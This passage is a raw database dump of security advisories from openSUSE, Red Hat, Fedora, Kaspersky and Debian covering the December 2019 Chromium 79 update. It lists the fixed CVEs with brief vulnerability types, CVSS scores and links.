V8\n - CVE-2019-13732: Fixed a use after free in WebAudio\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n - CVE-2019-13735: Fixed an out of bounds write in V8\n - CVE-2019-13764: Fixed a type Confusion in V8\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n - CVE-2019-13737: Fixed an insufficient policy enforcement in autocomplete\n - CVE-2019-13738: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13739: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13740: Fixed an incorrect security UI in sharing\n - CVE-2019-13741: Fixed an insufficient validation of untrusted input in\n Blink\n - CVE-2019-13742: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13743: Fixed an incorrect security UI in external protocol\n handling\n - CVE-2019-13744: Fixed an insufficient policy enforcement in cookies\n - CVE-2019-13745: Fixed an insufficient policy enforcement in audio\n - CVE-2019-13746: Fixed an insufficient policy enforcement in Omnibox\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n - CVE-2019-13748: Fixed an insufficient policy enforcement in developer\n tools\n - CVE-2019-13749: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13750: Fixed an insufficient data validation in SQLite\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n - CVE-2019-13754: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13755: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13756: Fixed an incorrect security UI in printing\n - CVE-2019-13757: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13758: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13759: Fixed an incorrect security UI in interstitials\n - CVE-2019-13761: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13762: Fixed an insufficient policy enforcement in downloads\n - CVE-2019-13763: Fixed an insufficient policy enforcement in payments\n\n This update was imported from the openSUSE:Leap:15.1:Update update project.\n\n", "edition": 1, "modified": "2019-12-18T15:13:44", "published": "2019-12-18T15:13:44", "id": "OPENSUSE-SU-2019:2694-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00036.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-17T02:20:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "This update for chromium fixes the following issues:\n\n Chromium was updated to 79.0.3945.79 (boo#1158982)\n\n - CVE-2019-13725: Fixed a use after free in Bluetooth\n - CVE-2019-13726: Fixed a heap buffer overflow in password manager\n - CVE-2019-13727: Fixed an insufficient policy enforcement in WebSockets\n - CVE-2019-13728: Fixed an out of bounds write in V8\n - CVE-2019-13729: Fixed a use after free in WebSockets\n - CVE-2019-13730: Fixed a type Confusion in V8\n - CVE-2019-13732: Fixed a use after free in WebAudio\n - CVE-2019-13734: Fixed an out of bounds write in SQLite\n - CVE-2019-13735: Fixed an out of bounds write in V8\n - CVE-2019-13764: Fixed a type Confusion in V8\n - CVE-2019-13736: Fixed an integer overflow in PDFium\n - CVE-2019-13737: Fixed an insufficient policy enforcement in autocomplete\n - CVE-2019-13738: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13739: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13740: Fixed an incorrect security UI in sharing\n - CVE-2019-13741: Fixed an insufficient validation of untrusted input in\n Blink\n - CVE-2019-13742: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13743: Fixed an incorrect security UI in external protocol\n handling\n - CVE-2019-13744: Fixed an insufficient policy enforcement in cookies\n - CVE-2019-13745: Fixed an insufficient policy enforcement in audio\n - CVE-2019-13746: Fixed an insufficient policy enforcement in Omnibox\n - CVE-2019-13747: Fixed an uninitialized Use in rendering\n - CVE-2019-13748: Fixed an insufficient policy enforcement in developer\n tools\n - CVE-2019-13749: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13750: Fixed an insufficient data validation in SQLite\n - CVE-2019-13751: Fixed an uninitialized Use in SQLite\n - CVE-2019-13752: Fixed an out of bounds read in SQLite\n - CVE-2019-13753: Fixed an out of bounds read in SQLite\n - CVE-2019-13754: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13755: Fixed an insufficient policy enforcement in extensions\n - CVE-2019-13756: Fixed an incorrect security UI in printing\n - CVE-2019-13757: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13758: Fixed an insufficient policy enforcement in navigation\n - CVE-2019-13759: Fixed an incorrect security UI in interstitials\n - CVE-2019-13761: Fixed an incorrect security UI in Omnibox\n - CVE-2019-13762: Fixed an insufficient policy enforcement in downloads\n - CVE-2019-13763: Fixed an insufficient policy enforcement in payments\n\n", "edition": 1, "modified": "2019-12-17T00:12:34", "published": "2019-12-17T00:12:34", "id": "OPENSUSE-SU-2019:2692-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00034.html", "title": "Security update for chromium (important)", "type": "suse", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-12-19T01:27:32", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13725", "CVE-2019-13726", "CVE-2019-13727", "CVE-2019-13728", "CVE-2019-13729", "CVE-2019-13730", "CVE-2019-13732", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13736", "CVE-2019-13737", "CVE-2019-13738", "CVE-2019-13739", "CVE-2019-13740", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13743", "CVE-2019-13744", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13747", "CVE-2019-13748", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-13754", "CVE-2019-13755", "CVE-2019-13756", "CVE-2019-13757", "CVE-2019-13758", "CVE-2019-13759", "CVE-2019-13761", "CVE-2019-13762", "CVE-2019-13763", "CVE-2019-13764"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink).\n\nThis update upgrades Chromium to version 79.0.3945.79.\n\nSecurity Fix(es):\n\n* chromium-browser: Use after free in Bluetooth (CVE-2019-13725)\n\n* chromium-browser: Heap buffer overflow in password manager (CVE-2019-13726)\n\n* chromium-browser: Insufficient policy enforcement in WebSockets (CVE-2019-13727)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13728)\n\n* chromium-browser: Use after free in WebSockets (CVE-2019-13729)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13730)\n\n* chromium-browser: Use after free in WebAudio (CVE-2019-13732)\n\n* chromium-browser: Out of bounds write in SQLite (CVE-2019-13734)\n\n* chromium-browser: Out of bounds write in V8 (CVE-2019-13735)\n\n* chromium-browser: Type Confusion in V8 (CVE-2019-13764)\n\n* chromium-browser: Integer overflow in PDFium (CVE-2019-13736)\n\n* chromium-browser: Insufficient policy enforcement in autocomplete (CVE-2019-13737)\n\n* chromium-browser: Insufficient policy enforcement in navigation (CVE-2019-13738)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13739)\n\n* chromium-browser: Incorrect security UI in sharing (CVE-2019-13740)\n\n* chromium-browser: Insufficient validation of untrusted input in Blink (CVE-2019-13741)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13742)\n\n* chromium-browser: Incorrect security UI in external protocol handling (CVE-2019-13743)\n\n* chromium-browser: Insufficient policy enforcement in cookies (CVE-2019-13744)\n\n* chromium-browser: Insufficient policy enforcement in audio (CVE-2019-13745)\n\n* chromium-browser: Insufficient policy enforcement in Omnibox (CVE-2019-13746)\n\n* chromium-browser: Uninitialized Use in rendering (CVE-2019-13747)\n\n* chromium-browser: Insufficient policy enforcement in developer tools (CVE-2019-13748)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13749)\n\n* chromium-browser: Insufficient data validation in SQLite (CVE-2019-13750)\n\n* chromium-browser: Uninitialized Use in SQLite (CVE-2019-13751)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13752)\n\n* chromium-browser: Out of bounds read in SQLite (CVE-2019-13753)\n\n* chromium-browser: Insufficient policy enforcement in extensions (CVE-2019-13754)\n\n* chromium-browser: Insufficient policy enforcement in extensions (CVE-2019-13755)\n\n* chromium-browser: Incorrect security UI in printing (CVE-2019-13756)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13757)\n\n* chromium-browser: Insufficient policy enforcement in navigation (CVE-2019-13758)\n\n* chromium-browser: Incorrect security UI in interstitials (CVE-2019-13759)\n\n* chromium-browser: Incorrect security UI in Omnibox (CVE-2019-13761)\n\n* chromium-browser: Insufficient policy enforcement in downloads (CVE-2019-13762)\n\n* chromium-browser: Insufficient policy enforcement in payments (CVE-2019-13763)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2019-12-16T14:01:58", "published": "2019-12-16T13:51:16", "id": "RHSA-2019:4238", "href": "https://access.redhat.com/errata/RHSA-2019:4238", "type": "redhat", "title": "(RHSA-2019:4238) Critical: chromium-browser security update", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13725", "CVE-2019-13726", "CVE-2019-13727", "CVE-2019-13728", "CVE-2019-13729", "CVE-2019-13730", "CVE-2019-13732", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13736", "CVE-2019-13737", "CVE-2019-13738", "CVE-2019-13739", "CVE-2019-13740", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13743", "CVE-2019-13744", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13747", "CVE-2019-13748", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-13754", "CVE-2019-13755", "CVE-2019-13756", "CVE-2019-13757", "CVE-2019-13758", "CVE-2019-13759", "CVE-2019-13761", "CVE-2019-13762", "CVE-2019-13763", "CVE-2019-13764"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink). ", "modified": "2019-12-18T01:56:55", "published": "2019-12-18T01:56:55", "id": "FEDORA:58B4460D22EC", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 31 Update: chromium-79.0.3945.79-1.fc31", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13725", "CVE-2019-13726", "CVE-2019-13727", "CVE-2019-13728", "CVE-2019-13729", "CVE-2019-13730", "CVE-2019-13732", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13736", "CVE-2019-13737", "CVE-2019-13738", "CVE-2019-13739", "CVE-2019-13740", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13743", "CVE-2019-13744", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13747", "CVE-2019-13748", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-13752", "CVE-2019-13753", "CVE-2019-13754", "CVE-2019-13755", "CVE-2019-13756", "CVE-2019-13757", "CVE-2019-13758", "CVE-2019-13759", "CVE-2019-13761", "CVE-2019-13762", "CVE-2019-13763", "CVE-2019-13764", "CVE-2019-13767", "CVE-2020-6377"], "description": "Chromium is an open-source web browser, powered by WebKit (Blink). ", "modified": "2020-01-19T01:01:39", "published": "2020-01-19T01:01:39", "id": "FEDORA:9471A606D8C2", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 30 Update: chromium-79.0.3945.117-1.fc30", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2020-09-02T12:03:36", "bulletinFamily": "info", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13722", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "### *Detect date*:\n12/10/2019\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Google Chrome. Malicious users can exploit these vulnerabilities to execute arbitrary code, bypass security restrictions, cause denial of service, obtain sensitive information, spoof user interface.\n\n### *Affected products*:\nGoogle Chrome 79 earlier than 79.0.3945.79\n\n### *Solution*:\nUpdate to the latest version \n[Download Google Chrome](<https://www.google.com/intl/ru/chrome/>)\n\n### *Original advisories*:\n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Google Chrome](<https://threats.kaspersky.com/en/product/Google-Chrome/>)\n\n### *CVE-IDS*:\n[CVE-2019-13722](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13722>)0.0Unknown \n[CVE-2019-13725](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13725>)0.0Unknown \n[CVE-2019-13726](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13726>)0.0Unknown \n[CVE-2019-13727](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13727>)0.0Unknown \n[CVE-2019-13728](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13728>)0.0Unknown \n[CVE-2019-13729](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13729>)0.0Unknown \n[CVE-2019-13730](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13730>)0.0Unknown \n[CVE-2019-13732](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13732>)0.0Unknown \n[CVE-2019-13734](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13734>)0.0Unknown \n[CVE-2019-13735](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13735>)0.0Unknown \n[CVE-2019-13764](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13764>)0.0Unknown \n[CVE-2019-13736](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13736>)0.0Unknown \n[CVE-2019-13737](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13737>)0.0Unknown \n[CVE-2019-13738](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13738>)0.0Unknown \n[CVE-2019-13739](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13739>)0.0Unknown \n[CVE-2019-13740](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13740>)0.0Unknown \n[CVE-2019-13741](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13741>)0.0Unknown \n[CVE-2019-13742](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13742>)0.0Unknown \n[CVE-2019-13743](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13743>)0.0Unknown \n[CVE-2019-13744](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13744>)0.0Unknown \n[CVE-2019-13745](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13745>)0.0Unknown \n[CVE-2019-13746](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13746>)0.0Unknown \n[CVE-2019-13747](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13747>)0.0Unknown \n[CVE-2019-13748](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13748>)0.0Unknown \n[CVE-2019-13749](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13749>)0.0Unknown \n[CVE-2019-13750](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13750>)0.0Unknown \n[CVE-2019-13751](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13751>)0.0Unknown \n[CVE-2019-13752](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13752>)0.0Unknown \n[CVE-2019-13753](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13753>)0.0Unknown \n[CVE-2019-13754](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13754>)0.0Unknown \n[CVE-2019-13755](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13755>)0.0Unknown \n[CVE-2019-13756](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13756>)0.0Unknown \n[CVE-2019-13757](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13757>)0.0Unknown \n[CVE-2019-13758](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13758>)0.0Unknown \n[CVE-2019-13759](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13759>)0.0Unknown \n[CVE-2019-13761](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13761>)0.0Unknown \n[CVE-2019-13762](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13762>)0.0Unknown \n[CVE-2019-13763](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13763>)0.0Unknown", "edition": 1, "modified": "2020-06-04T00:00:00", "published": "2019-12-10T00:00:00", "id": "KLA11621", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11621", "title": "\r KLA11621Multiple vulnerabilities in Google Chrome ", "type": "kaspersky", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-02T11:56:25", "bulletinFamily": "info", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13722", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "description": "### *Detect date*:\n12/27/2019\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Opera. Malicious users can exploit these vulnerabilities to execute arbitrary code, bypass security restrictions, cause denial of service, obtain sensitive information, spoof user interface.\n\n### *Affected products*:\nOpera earlier than 66.0.3515.21\n\n### *Solution*:\nUpdate to the latest version \n[Download Opera](<https://www.opera.com>)\n\n### *Original advisories*:\n[Changelog for Opera 66](<https://blogs.opera.com/desktop/changelog-for-66/#b3515.21>) \n[Stable Channel Update for Desktop](<https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Opera](<https://threats.kaspersky.com/en/product/Opera/>)\n\n### *CVE-IDS*:\n[CVE-2019-13722](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13722>)0.0Unknown \n[CVE-2019-13725](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13725>)0.0Unknown \n[CVE-2019-13726](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13726>)0.0Unknown \n[CVE-2019-13727](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13727>)0.0Unknown \n[CVE-2019-13728](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13728>)0.0Unknown \n[CVE-2019-13729](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13729>)0.0Unknown \n[CVE-2019-13730](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13730>)0.0Unknown \n[CVE-2019-13732](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13732>)0.0Unknown \n[CVE-2019-13734](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13734>)0.0Unknown \n[CVE-2019-13735](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13735>)0.0Unknown \n[CVE-2019-13764](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13764>)0.0Unknown \n[CVE-2019-13736](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13736>)0.0Unknown \n[CVE-2019-13737](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13737>)0.0Unknown \n[CVE-2019-13738](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13738>)0.0Unknown \n[CVE-2019-13739](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13739>)0.0Unknown \n[CVE-2019-13740](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13740>)0.0Unknown \n[CVE-2019-13741](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13741>)0.0Unknown \n[CVE-2019-13742](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13742>)0.0Unknown \n[CVE-2019-13743](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13743>)0.0Unknown \n[CVE-2019-13744](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13744>)0.0Unknown \n[CVE-2019-13745](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13745>)0.0Unknown \n[CVE-2019-13746](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13746>)0.0Unknown \n[CVE-2019-13747](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13747>)0.0Unknown \n[CVE-2019-13748](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13748>)0.0Unknown \n[CVE-2019-13749](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13749>)0.0Unknown \n[CVE-2019-13750](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13750>)0.0Unknown \n[CVE-2019-13751](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13751>)0.0Unknown \n[CVE-2019-13752](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13752>)0.0Unknown \n[CVE-2019-13753](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13753>)0.0Unknown \n[CVE-2019-13754](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13754>)0.0Unknown \n[CVE-2019-13755](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13755>)0.0Unknown \n[CVE-2019-13756](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13756>)0.0Unknown \n[CVE-2019-13757](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13757>)0.0Unknown \n[CVE-2019-13758](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13758>)0.0Unknown \n[CVE-2019-13759](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13759>)0.0Unknown \n[CVE-2019-13761](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13761>)0.0Unknown \n[CVE-2019-13762](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13762>)0.0Unknown \n[CVE-2019-13763](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13763>)0.0Unknown", "edition": 1, "modified": "2020-06-04T00:00:00", "published": "2019-12-27T00:00:00", "id": "KLA11718", "href": "https://threats.kaspersky.com/en/vulnerability/KLA11718", "title": "\r KLA11718Multiple vulnerabilities in Opera ", "type": "kaspersky", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2021-01-11T01:30:58", "bulletinFamily": "unix", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2020-6379", "CVE-2019-13748", "CVE-2019-13755", "CVE-2020-6380", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2020-6378", "CVE-2019-13747"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4606-1 security@debian.org\nhttps://www.debian.org/security/ Michael Gilbert\nJanuary 20, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : chromium\nCVE ID : CVE-2019-13725 CVE-2019-13726 CVE-2019-13727 CVE-2019-13728\n CVE-2019-13729 CVE-2019-13730 CVE-2019-13732 CVE-2019-13734\n CVE-2019-13735 CVE-2019-13736 CVE-2019-13737 CVE-2019-13738\n CVE-2019-13739 CVE-2019-13740 CVE-2019-13741 CVE-2019-13742\n CVE-2019-13743 CVE-2019-13744 CVE-2019-13745 CVE-2019-13746\n CVE-2019-13747 CVE-2019-13748 CVE-2019-13749 CVE-2019-13750\n CVE-2019-13751 CVE-2019-13752 CVE-2019-13753 CVE-2019-13754\n CVE-2019-13755 CVE-2019-13756 CVE-2019-13757 CVE-2019-13758\n CVE-2019-13759 CVE-2019-13761 CVE-2019-13762 CVE-2019-13763\n CVE-2019-13764 CVE-2019-13767 CVE-2020-6377 CVE-2020-6378\n CVE-2020-6379 CVE-2020-6380\n\nSeveral vulnerabilities have been discovered in the chromium web browser.\n\nCVE-2019-13725\n\n Gengming Liu and Jianyu Chen discovered a use-after-free issue in the\n bluetooth implementation.\n\nCVE-2019-13726\n\n Sergei Lazunov discovered a buffer overflow issue.\n\nCVE-2019-13727\n\n @piochu discovered a policy enforcement error.\n\nCVE-2019-13728\n\n Rong Jian and Guang Gong discovered an out-of-bounds write error in the\n v8 javascript library.\n\nCVE-2019-13729\n\n Zhe Jin discovered a use-after-free issue.\n\nCVE-2019-13730\n\n Soyeon Park and Wen Xu discovered the use of a wrong type in the v8\n javascript library.\n\nCVE-2019-13732\n\n Sergei Glazunov discovered a use-after-free issue in the WebAudio\n implementation.\n\nCVE-2019-13734\n\n Wenxiang Qian discovered an out-of-bounds write issue in the sqlite\n library.\n\nCVE-2019-13735\n\n Gengming Liu and Zhen Feng discovered an out-of-bounds write issue in the\n v8 javascript library.\n\nCVE-2019-13736\n\n An integer overflow issue was discovered in the pdfium library.\n\nCVE-2019-13737\n\n Mark Amery discovered a policy enforcement error.\n\nCVE-2019-13738\n\n Johnathan Norman and Daniel Clark discovered a policy enforcement error.\n\nCVE-2019-13739\n\n xisigr discovered a user interface error.\n\nCVE-2019-13740\n\n Khalil Zhani discovered a user interface error.\n\nCVE-2019-13741\n\n Micha\u0142 Bentkowski discovered that user input could be incompletely\n validated.\n\nCVE-2019-13742\n\n Khalil Zhani discovered a user interface error.\n\nCVE-2019-13743\n\n Zhiyang Zeng discovered a user interface error.\n\nCVE-2019-13744\n\n Prakash discovered a policy enforcement error.\n\nCVE-2019-13745\n\n Luan Herrera discovered a policy enforcement error.\n\nCVE-2019-13746\n\n David Erceg discovered a policy enforcement error.\n\nCVE-2019-13747\n\n Ivan Popelyshev and Andr\u00e9 Bonatti discovered an uninitialized value.\n\nCVE-2019-13748\n\n David Erceg discovered a policy enforcement error.\n\nCVE-2019-13749\n\n Khalil Zhani discovered a user interface 